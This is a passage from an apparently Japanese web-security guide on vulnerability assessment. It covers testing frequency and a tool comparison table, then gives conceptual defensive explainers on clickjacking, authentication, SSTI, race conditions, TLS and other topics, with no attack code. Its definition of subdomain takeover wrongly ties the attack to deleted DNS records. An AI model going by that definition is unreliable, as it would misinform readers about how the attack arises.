&lt;ul&gt;
&lt;li&gt;セキュリティ教育の実施&lt;/li&gt;
&lt;li&gt;診断の目的を明確化&lt;/li&gt;
&lt;li&gt;建設的なフィードバックの提供&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;課題4: リソースの不足&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;解決策&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;外部専門家の活用&lt;/li&gt;
&lt;li&gt;自動化ツールの導入&lt;/li&gt;
&lt;li&gt;優先順位の明確化&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;診断の頻度&lt;/h2&gt;
&lt;h3&gt;開発中&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;継続的なテスト&lt;/strong&gt;: CI/CDパイプラインに統合&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コミットごと&lt;/strong&gt;: SASTを自動実行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;プルリクエスト時&lt;/strong&gt;: 包括的なスキャン&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;リリース前&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;包括的な診断&lt;/strong&gt;: すべての機能をテスト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ペネトレーションテスト&lt;/strong&gt;: 専門家による詳細なテスト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セキュリティレビュー&lt;/strong&gt;: コードと設定のレビュー&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;運用中&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定期的&lt;/strong&gt;: 四半期ごと、または年に数回&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;変更時&lt;/strong&gt;: 重要な機能追加や変更時&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;インシデント後&lt;/strong&gt;: セキュリティインシデント発生後&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;診断ツールの比較表&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;





&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;OWASP ZAP&lt;/td&gt;
&lt;td&gt;DAST&lt;/td&gt;
&lt;td&gt;無料&lt;/td&gt;
&lt;td&gt;中&lt;/td&gt;
&lt;td&gt;オープンソース、初心者向け&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Burp Suite&lt;/td&gt;
&lt;td&gt;DAST&lt;/td&gt;
&lt;td&gt;有料/無料&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;td&gt;プロフェッショナル向け&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SonarQube&lt;/td&gt;
&lt;td&gt;SAST&lt;/td&gt;
&lt;td&gt;無料/有料&lt;/td&gt;
&lt;td&gt;中&lt;/td&gt;
&lt;td&gt;コード品質とセキュリティ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQLMap&lt;/td&gt;
&lt;td&gt;専用&lt;/td&gt;
&lt;td&gt;無料&lt;/td&gt;
&lt;td&gt;中&lt;/td&gt;
&lt;td&gt;SQLインジェクション専用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nikto&lt;/td&gt;
&lt;td&gt;DAST&lt;/td&gt;
&lt;td&gt;無料&lt;/td&gt;
&lt;td&gt;低&lt;/td&gt;
&lt;td&gt;Webサーバースキャン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Snyk&lt;/td&gt;
&lt;td&gt;SCA&lt;/td&gt;
&lt;td&gt;有料&lt;/td&gt;
&lt;td&gt;低&lt;/td&gt;
&lt;td&gt;依存関係の脆弱性&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OWASP Dependency-Check&lt;/td&gt;
&lt;td&gt;SCA&lt;/td&gt;
&lt;td&gt;無料&lt;/td&gt;
&lt;td&gt;中&lt;/td&gt;
&lt;td&gt;依存関係の脆弱性&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;


&lt;h2&gt;実践的な診断シナリオ&lt;/h2&gt;
&lt;h3&gt;シナリオ1: 新規Webアプリケーションの診断&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;ステップ&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;情報収集（1-2日）&lt;/li&gt;
&lt;li&gt;自動スキャン（OWASP ZAP）（1日）&lt;/li&gt;
&lt;li&gt;手動テスト（3-5日）&lt;/li&gt;
&lt;li&gt;レポート作成（1日）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;成果物&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;脆弱性レポート&lt;/li&gt;
&lt;li&gt;修正優先順位リスト&lt;/li&gt;
&lt;li&gt;セキュリティ改善計画&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;シナリオ2: 既存アプリケーションの定期診断&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;ステップ&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;前回からの変更点の確認&lt;/li&gt;
&lt;li&gt;自動スキャン（差分テスト）&lt;/li&gt;
&lt;li&gt;新機能の重点テスト&lt;/li&gt;
&lt;li&gt;レポート作成&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;成果物&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;差分レポート&lt;/li&gt;
&lt;li&gt;新規脆弱性リスト&lt;/li&gt;
&lt;li&gt;修正状況の追跡&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;まとめ&lt;/h2&gt;
&lt;p&gt;脆弱性診断は、Webアプリケーションのセキュリティを確保する上で不可欠なプロセスです。SAST、DAST、IAST、SCAなどの様々な手法を組み合わせ、継続的に実施することで、脆弱性を早期に発見・修正し、セキュリティリスクを最小化できます。&lt;/p&gt;
&lt;p&gt;重要なポイント:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;多角的なアプローチ&lt;/strong&gt;: 複数の手法を組み合わせる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;継続的な実施&lt;/strong&gt;: 開発ライフサイクル全体で実施&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;優先順位の設定&lt;/strong&gt;: リスクに基づいた優先順位付け&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;チーム全体の取り組み&lt;/strong&gt;: セキュリティ文化の構築&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;クリックジャッキング（Clickjacking）&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;攻撃者が透明なiframeなどを使用して、ユーザーに意図しない操作を実行させる攻撃手法です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;基本的な攻撃例&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;攻撃者が悪意のあるページを作成&lt;/li&gt;
&lt;li&gt;ターゲットサイトを透明なiframeで読み込む&lt;/li&gt;
&lt;li&gt;ユーザーがボタンをクリックしようとすると、実際にはiframe内のボタンがクリックされる&lt;/li&gt;
&lt;li&gt;ユーザーが意図しない操作（送金、削除など）が実行される&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;カーソルジャッキング（Cursorjacking）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;カーソルの位置を視覚的に偽装&lt;/li&gt;
&lt;li&gt;ユーザーが実際にクリックしている位置と、見た目の位置が異なる&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;影響範囲&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;意図しない操作の実行&lt;/strong&gt;: 送金、削除、設定変更など&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;機密情報の入力&lt;/strong&gt;: ログイン情報の入力&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ソーシャルエンジニアリング&lt;/strong&gt;: 偽のボタンやリンクのクリック&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;X-Frame-Optionsヘッダーの設定&lt;/strong&gt;: DENYまたはSAMEORIGINを設定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Content Security Policy（CSP）のframe-ancestorsディレクティブ&lt;/strong&gt;: フレームの埋め込み元を制限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JavaScriptによるフレーム検出&lt;/strong&gt;: フレーム内で実行されている場合に警告を表示&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;パスワード関連の脆弱性&lt;/h3&gt;
&lt;h4&gt;弱いパスワード&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: 推測されやすい、またはブルートフォース攻撃に弱いパスワード&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;問題点&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;短いパスワード（8文字未満）&lt;/li&gt;
&lt;li&gt;辞書に含まれる単語のみ&lt;/li&gt;
&lt;li&gt;個人情報を含む（名前、生年月日など）&lt;/li&gt;
&lt;li&gt;数字のみ、アルファベットのみ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;パスワードポリシーの設定（最小文字数、複雑さの要件）&lt;/li&gt;
&lt;li&gt;パスワード強度メーターの表示&lt;/li&gt;
&lt;li&gt;一般的なパスワードリストとの照合&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;パスワードリスト攻撃（Credential Stuffing）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: 他のサイトから漏洩したパスワードリストを使用して、別のサイトにログインを試みる攻撃&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;多要素認証（MFA）の導入&lt;/li&gt;
&lt;li&gt;ログイン試行回数の制限&lt;/li&gt;
&lt;li&gt;異常なログイン試行の検知と通知&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;ブルートフォース攻撃&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: すべての可能なパスワードの組み合わせを試行する攻撃&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;ログイン試行回数の制限（例: 5回失敗でアカウントロック）&lt;/li&gt;
&lt;li&gt;レート制限（Rate Limiting）&lt;/li&gt;
&lt;li&gt;CAPTCHAの導入&lt;/li&gt;
&lt;li&gt;アカウントロックアウト機能&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;パスワードリセット機能の脆弱性&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;問題点&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;リセットトークンが推測可能&lt;/li&gt;
&lt;li&gt;トークンが期限切れにならない&lt;/li&gt;
&lt;li&gt;トークンがURLに含まれる（ログに記録される可能性）&lt;/li&gt;
&lt;li&gt;メールアドレスの検証が不十分&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;十分に長く、ランダムなトークンを生成&lt;/li&gt;
&lt;li&gt;トークンに有効期限を設定（例: 1時間）&lt;/li&gt;
&lt;li&gt;トークンを一度使用したら無効化&lt;/li&gt;
&lt;li&gt;メールアドレスの存在確認を実施&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;パスワードの平文保存&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: パスワードを暗号化せずに平文で保存する重大な脆弱性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;強力なハッシュアルゴリズムを使用（bcrypt、Argon2、PBKDF2）&lt;/li&gt;
&lt;li&gt;ソルト（salt）の使用&lt;/li&gt;
&lt;li&gt;レインボーテーブル攻撃への対策&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;認証関連の脆弱性&lt;/h3&gt;
&lt;h4&gt;認証バイパス&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: 認証を回避して、認証が必要な機能にアクセスできる脆弱性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原因&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;認証チェックの不備&lt;/li&gt;
&lt;li&gt;直接URLアクセスによる回避&lt;/li&gt;
&lt;li&gt;セッション管理の不備&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;すべての認証が必要なページで認証チェックを実施&lt;/li&gt;
&lt;li&gt;フレームワークの認証機能を活用&lt;/li&gt;
&lt;li&gt;認証ミドルウェアの使用&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;ログイン試行制限の不備&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;問題点&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;無制限にログイン試行が可能&lt;/li&gt;
&lt;li&gt;IPアドレスベースの制限のみ（プロキシ経由で回避可能）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;アカウント単位での試行回数制限&lt;/li&gt;
&lt;li&gt;レート制限の導入&lt;/li&gt;
&lt;li&gt;CAPTCHAの表示（複数回失敗後）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;アカウントロックアウト機能の不備&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;問題点&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;アカウントロックアウトがDoS攻撃に利用される可能性&lt;/li&gt;
&lt;li&gt;ロックアウト期間が長すぎる、または短すぎる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;段階的なロックアウト（短時間→長時間）&lt;/li&gt;
&lt;li&gt;管理者による手動解除機能&lt;/li&gt;
&lt;li&gt;ロックアウト通知の送信&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;認証トークンの不適切な管理&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;問題点&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;トークンがURLに含まれる&lt;/li&gt;
&lt;li&gt;トークンに有効期限がない&lt;/li&gt;
&lt;li&gt;トークンが推測可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;トークンをクッキーに保存&lt;/li&gt;
&lt;li&gt;有効期限を設定&lt;/li&gt;
&lt;li&gt;十分に長く、ランダムなトークンを生成&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;サーバーサイドテンプレートインジェクション（SSTI）&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;サーバー側のテンプレートエンジンに悪意のあるコードが注入される脆弱性です。&lt;/p&gt;
&lt;h4&gt;影響範囲&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;リモートコード実行&lt;/strong&gt;: サーバー上で任意のコードを実行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ファイルシステムへのアクセス&lt;/strong&gt;: サーバー上のファイルを読み取り・書き込み&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;システム情報の漏洩&lt;/strong&gt;: 環境変数、設定ファイルの内容&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;テンプレートエンジンの設定&lt;/strong&gt;: コード実行を無効化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;入力値のサニタイゼーション&lt;/strong&gt;: 危険な文字や構文を除去&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ホワイトリスト方式&lt;/strong&gt;: 許可された変数のみ使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テンプレートエンジンの更新&lt;/strong&gt;: 最新の安全なバージョンを使用&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;ビジネスロジックの脆弱性&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;アプリケーションのビジネスロジックに存在するセキュリティ上の欠陥です。&lt;/p&gt;
&lt;h4&gt;主な種類&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;価格操作&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;商品の価格をクライアント側で変更可能&lt;/li&gt;
&lt;li&gt;負の価格、0円での購入が可能&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;数量制限の回避&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;購入数量の上限を回避&lt;/li&gt;
&lt;li&gt;在庫数のチェックが不十分&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;プロセス順序の回避&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;決済プロセスをスキップ&lt;/li&gt;
&lt;li&gt;認証プロセスをバイパス&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;権限の不適切な使用&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;一般ユーザーが管理者機能にアクセス&lt;/li&gt;
&lt;li&gt;他人のアカウント情報を変更&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;サーバー側での検証&lt;/strong&gt;: すべてのビジネスロジックをサーバー側で実装&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;二重チェック&lt;/strong&gt;: 重要な操作は複数回検証&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ログの記録&lt;/strong&gt;: ビジネスロジックに関連する操作をログに記録&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ペネトレーションテスト&lt;/strong&gt;: ビジネスロジックのテストを実施&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;タイミング攻撃（Timing Attack）&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;処理時間の違いを利用して、機密情報を推測する攻撃手法です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;パスワード認証の例&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;正しいパスワードと間違ったパスワードで処理時間が異なる&lt;/li&gt;
&lt;li&gt;文字ごとに比較する実装では、最初の文字が一致すると処理時間が長くなる&lt;/li&gt;
&lt;li&gt;処理時間の違いから、正しいパスワードを推測&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定数時間比較&lt;/strong&gt;: 文字列比較に定数時間を要する関数を使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ハッシュ関数の使用&lt;/strong&gt;: パスワードをハッシュ化してから比較&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;レート制限&lt;/strong&gt;: 攻撃の試行回数を制限&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;競合状態（Race Condition）&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;複数のリクエストが同時に処理される際に、予期しない動作が発生する脆弱性です。&lt;/p&gt;
&lt;h4&gt;影響範囲&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;二重送金&lt;/strong&gt;: 同じ送金処理が複数回実行される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;在庫数の不整合&lt;/strong&gt;: 在庫数が負の値になる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;権限の昇格&lt;/strong&gt;: 同時に権限変更リクエストを送信&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;トランザクションの使用&lt;/strong&gt;: データベーストランザクションで整合性を保証&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ロック機構&lt;/strong&gt;: 排他制御により同時アクセスを防ぐ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;楽観的ロック&lt;/strong&gt;: バージョン番号を使用して更新を制御&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;情報漏洩&lt;/h3&gt;
&lt;h4&gt;ソースコードの漏洩&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原因&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;バックアップファイルの公開（.bak、.oldなど）&lt;/li&gt;
&lt;li&gt;バージョン管理システムの公開（.git、.svnなど）&lt;/li&gt;
&lt;li&gt;エラーメッセージにソースコードが含まれる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;バックアップファイルをWebサーバーのドキュメントルート外に保存&lt;/li&gt;
&lt;li&gt;バージョン管理ディレクトリへのアクセスを制限&lt;/li&gt;
&lt;li&gt;エラーメッセージから詳細情報を除外&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;隠しファイル・ディレクトリの公開&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;問題点&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;.htaccess、.envなどの設定ファイルが公開&lt;/li&gt;
&lt;li&gt;.DS_Store（macOS）、Thumbs.db（Windows）などの隠しファイル&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;Webサーバーの設定で隠しファイルへのアクセスを拒否&lt;/li&gt;
&lt;li&gt;機密ファイルをドキュメントルート外に配置&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;ディレクトリリスティング&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: ディレクトリの内容が一覧表示される設定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;ディレクトリリスティングを無効化&lt;/li&gt;
&lt;li&gt;index.htmlなどのインデックスファイルを配置&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;メタデータの漏洩&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;問題点&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;EXIFデータ（画像ファイルの位置情報など）&lt;/li&gt;
&lt;li&gt;ドキュメントのメタデータ（作成者、編集履歴など）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;アップロード時にメタデータを削除&lt;/li&gt;
&lt;li&gt;機密情報が含まれるメタデータをサニタイズ&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Webサーバーの設定ミス&lt;/h3&gt;
&lt;h4&gt;不要なHTTPメソッドの有効化&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;問題点&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;PUT、DELETE、TRACEなどのメソッドが有効&lt;/li&gt;
&lt;li&gt;サーバー上でファイルの作成・削除が可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;必要なHTTPメソッドのみ許可&lt;/li&gt;
&lt;li&gt;OPTIONSメソッドで利用可能なメソッドを確認&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;デフォルト設定の使用&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;問題点&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;デフォルトのパスワード、アカウント名を使用&lt;/li&gt;
&lt;li&gt;デフォルトのディレクトリ構造&lt;/li&gt;
&lt;li&gt;デフォルトのエラーページ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;デフォルト設定を変更&lt;/li&gt;
&lt;li&gt;セキュリティガイドラインに従った設定&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;詳細なエラーページの表示&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;問題点&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;デフォルトのエラーページにバージョン情報が含まれる&lt;/li&gt;
&lt;li&gt;スタックトレースが表示される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;カスタムエラーページを作成&lt;/li&gt;
&lt;li&gt;本番環境では詳細なエラー情報を非表示&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;APIセキュリティ&lt;/h3&gt;
&lt;h4&gt;API認証の不備&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;問題点&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;APIキーがURLに含まれる（ログに記録される）&lt;/li&gt;
&lt;li&gt;APIキーが推測可能&lt;/li&gt;
&lt;li&gt;トークンに有効期限がない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;OAuth 2.0、JWTなどの標準的な認証方式を使用&lt;/li&gt;
&lt;li&gt;APIキーをHTTPヘッダーに含める&lt;/li&gt;
&lt;li&gt;トークンに有効期限を設定&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;レート制限の不備&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;問題点&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;APIへの無制限なアクセスが可能&lt;/li&gt;
&lt;li&gt;DoS攻撃に利用される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;レート制限の実装（例: 1分間に100リクエスト）&lt;/li&gt;
&lt;li&gt;IPアドレスベース、APIキーベースの制限&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;APIインジェクション&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: API経由でSQLインジェクション、コマンドインジェクションなどが実行される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;: 通常のWebアプリケーションと同様の対策を実施&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;CORS（Cross-Origin Resource Sharing）の不適切な設定&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;問題点&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;すべてのオリジンからのアクセスを許可&lt;/li&gt;
&lt;li&gt;クレデンシャルを含むリクエストを許可&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;必要なオリジンのみ許可&lt;/li&gt;
&lt;li&gt;適切なCORSヘッダーの設定&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;証明書とTLS&lt;/h3&gt;
&lt;h4&gt;証明書の検証不備&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;問題点&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;自己署名証明書の使用&lt;/li&gt;
&lt;li&gt;証明書の検証をスキップ&lt;/li&gt;
&lt;li&gt;期限切れ証明書の使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;信頼できる認証局（CA）から発行された証明書を使用&lt;/li&gt;
&lt;li&gt;証明書の検証を必ず実施&lt;/li&gt;
&lt;li&gt;証明書の有効期限を監視&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;弱いTLS設定&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;問題点&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;古いバージョンのTLS（TLS 1.0、1.1）の使用&lt;/li&gt;
&lt;li&gt;弱い暗号スイートの使用&lt;/li&gt;
&lt;li&gt;不完全な前方秘匿性（Forward Secrecy）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;最新のTLSバージョン（TLS 1.2以上）を使用&lt;/li&gt;
&lt;li&gt;強力な暗号スイートのみ許可&lt;/li&gt;
&lt;li&gt;完全な前方秘匿性を有効化&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;サブドメイン乗っ取り（Subdomain Takeover）&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;使用されていないサブドメインのDNSレコードが削除された後、攻撃者がそのサブドメインを登録して乗っ取る攻撃です。&lt;/p&gt;
&lt;h4&gt;影響範囲&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;フィッシング攻撃&lt;/strong&gt;: 正規のサブドメインを装った偽サイトの構築&lt;/li&gt;
